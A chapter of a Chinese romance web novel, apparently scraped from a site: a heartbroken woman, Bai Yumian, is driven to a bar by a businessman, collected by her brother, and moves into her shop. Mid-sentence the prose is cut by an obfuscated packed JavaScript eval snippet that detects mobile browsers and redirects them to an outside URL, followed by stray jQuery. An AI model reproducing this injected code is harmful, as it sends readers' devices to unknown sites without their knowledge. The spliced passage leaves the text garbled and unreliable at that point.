从酒店狼狈离场,白雨眠站在马路边上,看着川流不息的车流,她却不知该去往何处。
家?
那是她此刻最想逃避的地方。
雨阁?
店里的人见她这副失魂落魄的模样,免不了上前关心,可她此时疲于应付那些。
白雨眠突然蹲在地上偷偷哭起来,她竟然没有一个归处,供她在情绪失控的时刻放肆哭泣。
埋头在膝盖上无声落泪之际,她察觉到身前有什么东西停下。抬头看,是一辆黑色商务轿车。
后座的车窗落下,座位上身穿黑色西服的男人侧过脸来,自上而下注视着她,语气不咸不淡道:“上车吧,你蹲这很危险。”
白雨眠用衣袖擦干净眼睛,看清了眼前的男人,正是刚才她觉得眼熟的身影。
一根极细的弦在脑海中骤然崩断。
原来不是他。他原来真的在医院,他也真的结婚甚至有了小孩。
她真的要放下他了。
思及此,上一秒才擦干的泪水,这一秒泄洪似地落下,她再没有力气顾及体面,情不自禁悲恸出声。
男人见此神色闪过一瞬不耐,随即变幻如常,倾身右手拉开车门,沉声道:“上车。”
白雨眠被巨大的悲伤笼罩,再没有余力思考其他,顺从地起身,坐进了后座。
张绩从后视镜中看见后座的短发女人很是眼熟,再定睛一看,是那天雨阁的老板。心下震惊,刚想开口寒暄,意识到这不是适合的氛围,便忍下来。
白雨眠拿过自己的小包,却怎么也找不见纸巾,眼泪一滴滴落进包里,打湿了内里布料。
身旁的男人递过来一块方巾,深棕色的,有隐隐的木质香味。
指了指她的脸颊,“擦擦。”
“谢谢。”顾不上推辞,她也知道自己脸上是何糗状,只想赶紧结束此刻的狼狈模样,三两下擦掉脸上的泪痕和彩妆。
处理完自己的事情,白雨眠开口问身边人:“你要带我去哪儿?”
男人侧过脸来,眼神一瞬不瞬落在她没擦干净的面庞,思忖良久,只说:“你说地方,送你过去。”
白雨眠心中闪过一丝失落,她没地方可去。同样的寂静过后,她报了个酒吧名字。
男人对此不置一词,只对前面开车的人说道:“张绩,按她说的去。”
把失意的女人独自丢在酒吧,这显然不负责任。看着女人道谢后进了里边,边晟随着张绩慢悠悠晃到离她稍远的卡座坐下。
才从饭局下来,边晟没再继续喝。看了一眼斜前方独自喝酒的女人,他才意识到自己做了件多么荒唐的事。
他为什么要管一个在路边流泪的女人?又为什么要在这坐着等她?
他几时做过这样的热心市民?他的时间多么宝贵。
思及此,起身,“你在这坐着看着点,我上楼睡会儿。”丢下这句话,拿上外套出门。
这家酒吧和楼上的酒店是一体,都是何屹近几年办的,他在这有点股份。前台见边晟一个人过来,惊喜之际又有点不知所措,小心地按照他的要求调了间总统套房出来,安排专人送他上楼。
“不必,我自己上去。”边晟接过房卡,坐专属电梯上了顶层。
边晟一觉醒来已是傍晚时分,酒店工作人员送来醒酒汤和晚饭。看着面前的餐食,他按着太阳穴醒神,拿出手机给张绩打了电话。
白雨眠已经喝醉,张绩把她带到卡座这边沙发上坐下,正趴在桌上睡着,他的外套搭在她身上。
接到老板电话,张绩找了个相对清净的角落,听候老板指示。
“吃过饭了?”
张绩如实交代,人早就喝醉了趴下,哪能吃得了饭?
听到张绩的回答,边晟皱了皱眉,“你不知道拦着点?”
张绩看不见老板不悦的神色,可是语气里流露出的责备他能感受到,回话时更加诚惶诚恐:“您…您也没交代啊。”
边晟无意在这上面浪费时间,吩咐道:“你先带她上楼休息,想办法联系她家人,把人安全送回。”
张绩连忙应下,“好的,那您怎么回去?”
“我叫车,你只管负责好她。”
酒店工作人员认识张绩,边总身边的助理,听说是边总的吩咐,热情地开好房间,叫了两个女员工把人带到房间休息。
想到她的家人得知是男性把她带到酒店,那他无论如何占理也说不清。
“这是她的手机,开机后等她家人打电话过来,你们负责交涉。”张绩把白雨眠手机交给前台充电,自己退到旁边的休息区等候。
张绩在休息区吃了晚饭,彼时前台的手机铃声响起,工作人员朝他招手。
“对方称是白小姐的哥哥,正在来接人的路上。”
“那行,人到了你们记得把她叫醒确认。”
“好的。”
白逸文赶到酒店是半小时后,前台解释是一名好心女士把喝醉的白小姐送到酒店休息,安抚对方别着急。
在前台的带领下,白逸文见到刚睡醒的白雨眠。女孩素净的脸上还余有醉酒的绯红,婆娑的眼睛在见到他时暗淡几分。
平时见到哥哥,白雨眠是很开心的。可是此刻意识到他瞒着自己太多事,白雨眠不太想面对他。
察觉到妹妹的疏离,白逸文心中因为妹妹独自来酒吧买醉而生起的担忧和责备一下转换成酸涩的愧疚。
他比谁都不愿意看见妹妹失意的神色,更何况她现在失望的对象是自己。
白逸文上前拉着妹妹的手:“我们回家。”
“我自己能走。”白雨眠扭身甩过他的手。
看着身边工作人员警惕的眼神,白雨眠解释道:“我认识他,他是我哥,我现在和他一起回去,给你们添麻烦了。”
工作人员说着不客气,却还是把两人请到前台,由白逸文出示了相关证明后才放人离开。
张绩拍了张两人离开的背影发给老板:【边总,她家里人来把她接走了。】
那边过了很久,只回复一个:【嗯。】
--
白雨眠回到家已是夜晚22点,父母正在客厅坐着,见着晚归的女儿刚要发难,白逸文上前招呼住父母,“让她一个人静一静。”
赵兰英撇嘴哼了一句:“你们谁说出去的?白白浪费了今天小赵这么好的条件,你妹妹今天这么突然跑出去,这让你爹回去和人家赵教授怎么共事?”
赵女士越说越气愤,声调也越发的高昂,白实易按住她:“行了,都少说两句。”男人叹了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900917|176625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口气:“你这个女儿我是没法管了,她爱怎样怎样。”说着就起身回房。
赵兰英抱着胳膊哼气,嘲白雨眠房门的方向喊话:“不管了,爱谁管谁管。她就是明天随便找一个人嫁了我也随她便!”
白逸文走到妹妹房前敲门,里面传出一句闷闷的“进来”。
“你这是要干嘛?”
白雨眠蹲在地上,从行李箱上抬起头来,解释道:“我要搬去店里住。”
“不行。”几乎是下意识地否定,开口后又觉得自己语气是否太严肃,白逸文垂眼去看妹妹的神情。
白雨眠不是在征求他的同意。她行李差不多收拾完毕,只是只会他一声。
“我走了,你自便。”她拉上行李箱,从他身侧绕开往外走。
“我送你。”白逸文从她手里夺过行李箱,改推为提,拎着她的行李箱走在前边。
箱子放在后备箱,白逸文坐回驾驶座,看一眼副驾上阖眼静默缩瑟在角落的白雨眠,没忍住问:“怎么突然就要搬去店里?”
白雨眠睁眼,看着眼前她曾经最信任的哥哥,声音颤颤开口:“突然吗?不突然吧。”说完她像是泄了气,复又躺倒在座位上,不欲再多说什么。
二人一路沉默,直到车开至目的地。白逸文下车为她提行李,白雨眠没拒绝,走在前面去开门。
“你回去吧,我也准备睡了。”白雨眠站在门口送客,生硬道:“谢谢你。”
面对妹妹如此的客气疏离,白逸文心里不是滋味,他不明白他以为是为她好的隐瞒,竟会让妹妹痛苦到这地步。
然而此刻说什么也无济于事,做什么也无法挽回。白逸文退至门口,看着她握在门锁上的手嘱咐道:“记得锁门,注意安全。”
“我知道。”说完后白雨眠利落降下门锁,拉上窗帘,回身进屋。
回到自己的休息室,白雨眠把行李箱里的衣服一件件取出,摆放在小衣柜里。
小衣柜渐渐被填满,行李箱里的东西逐渐减少,最后露出来的是她从书桌抽屉装过来的那些信件。
白雨眠坐在铺着毛毯的地上,强迫自己冷静下来,和那些信件做最后的告别。
他已经向前走了很远,而自己也不应该困在过去。她把关于他的一切撕碎,扔进桌旁垃圾篓。
心里暂时过不去的坎,就该从行动上推进。
店里虽有休息室供她睡觉,可终归面积小,没有合适的空间给她洗漱,洗衣晾衣也成问题。白雨眠躺在床上,心里盘算,在这将就三两天可行,要想长久居住,还是得另找房源。
脑子里有了想法,她就没法将其搁置哪怕一分钟。于是翻身坐起来,拿出手机开始寻找合适的房子。
她没有车,通勤全靠地铁,房子得近雨阁才好。
然而雨阁地理位置优越,毗邻中心商业街,附近的房子都不便宜。而雨阁的营收去掉员工成本和店铺租金,能剩给她的不多。
父母不缺钱,哥哥也乐得向她施以援手,可她心里那点隐秘的自尊让她无法开口。
刚闹着要独立,转头就伸手问家里要钱怎么行。
白雨眠继续翻动着租房信息,然而越往下房子条件越差,她渐渐看厌了,索性退出软件。
以后的事情以后再说!